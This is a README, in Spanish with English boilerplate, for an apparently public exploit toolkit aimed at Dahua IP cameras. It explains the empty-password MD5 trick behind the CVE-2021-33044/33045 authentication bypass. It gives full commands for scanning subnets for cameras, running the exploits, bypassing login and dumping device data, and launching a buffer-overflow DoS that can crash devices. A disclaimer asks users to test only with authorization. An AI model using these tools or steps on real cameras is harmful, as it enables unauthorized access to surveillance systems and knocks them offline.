
Kit de investigación de CVEs para cámaras IP Dahua (CVE-2021-33044/33045, CVE-2025-31700/31701)
⚠️ EN DESARROLLO — Estos scripts se basan en detalles de CVE publicados y requieren pruebas adicionales contra dispositivos vulnerables para confirmar su plena funcionalidad.
Scripts de investigación y prueba de concepto para cuatro vulnerabilidades críticas de cámaras IP Dahua.
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY.
By using these tools, you agree that:
1. You have EXPLICIT WRITTEN AUTHORIZATION to test the target systems
2. You will NOT use these tools for illegal activities
3. You accept full responsibility for your actions
4. The authors are NOT liable for any misuse or damage
Unauthorized access to computer systems is a CRIMINAL OFFENSE in most jurisdictions.
| CVE | CVSS | Tipo | Estado |
|---|---|---|---|
| CVE-2021-33044 | 9.8 CRÍTICO | Omisión de autenticación | CISA KEV (explotado activamente) |
| CVE-2021-33045 | 9.8 CRÍTICO | Omisión de autenticación | CISA KEV (explotado activamente) |
| CVE-2025-31700 | 8.1 ALTO | DoS por desbordamiento de búfer | Reciente (2025) |
| CVE-2025-31701 | 8.1 ALTO | DoS por desbordamiento de búfer | Reciente (2025) |
Las cámaras Dahua utilizan autenticación de desafío-respuesta a través de /RPC2_Login:
Normal Login:
step1 = MD5("admin:realm:PASSWORD")
step2 = MD5("step1:random:step1")
Bypass (CVE-2021-33044/45):
step1 = MD5("admin:realm:") ← EMPTY password
step2 = MD5("step1:random:step1")
El firmware vulnerable acepta el hash de contraseña vacía y devuelve un token de sesión válido.
# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit
# Install dependencies
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081
# Single host with port
python dahua_scanner.py 192.168.1.100:8081
# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json
# Show help
python dahua_scanner.py --help
Puertos Dahua comunes: 80, 8000, 8080, 8081, 8888, 9000, 443, 37777
python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044 # Single CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump # Dump device info after bypass
python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp # TCP/37777 only
⚠️ ADVERTENCIA: El script DoS puede bloquear el dispositivo objetivo.
requests
Todos los demás imports provienen de la biblioteca estándar de Python:
socket, struct, hashlib, threading, ipaddress, argparse, json
🚧 EN DESARROLLO ACTIVO
Estos scripts se han desarrollado con base en:
Estado de las pruebas:
Si tienes acceso a dispositivos vulnerables para realizar pruebas, las contribuciones y los comentarios son bienvenidos.
Informa de cualquier problema o falso positivo.
Licencia MIT: consulta el archivo LICENSE.
Umair Aziz
GitHub: @umair-aziz025
Solo para fines educativos y de investigación de seguridad autorizada.
| Archivo | Propósito | CVEs |
|---|
dahua_scanner.py | Descubrimiento de red — encuentra cámaras Dahua en la subred | Detección |
dahua_exploit.py | Escáner multi-CVE — prueba todas las vulnerabilidades | Todas |
dahua_auth_bypass.py | Omisión de autenticación dedicada con la opción --dump | CVE-2021-33044/45 |
dahua_rce.py | Sonda de DoS por desbordamiento de búfer | CVE-2025-31700/01 |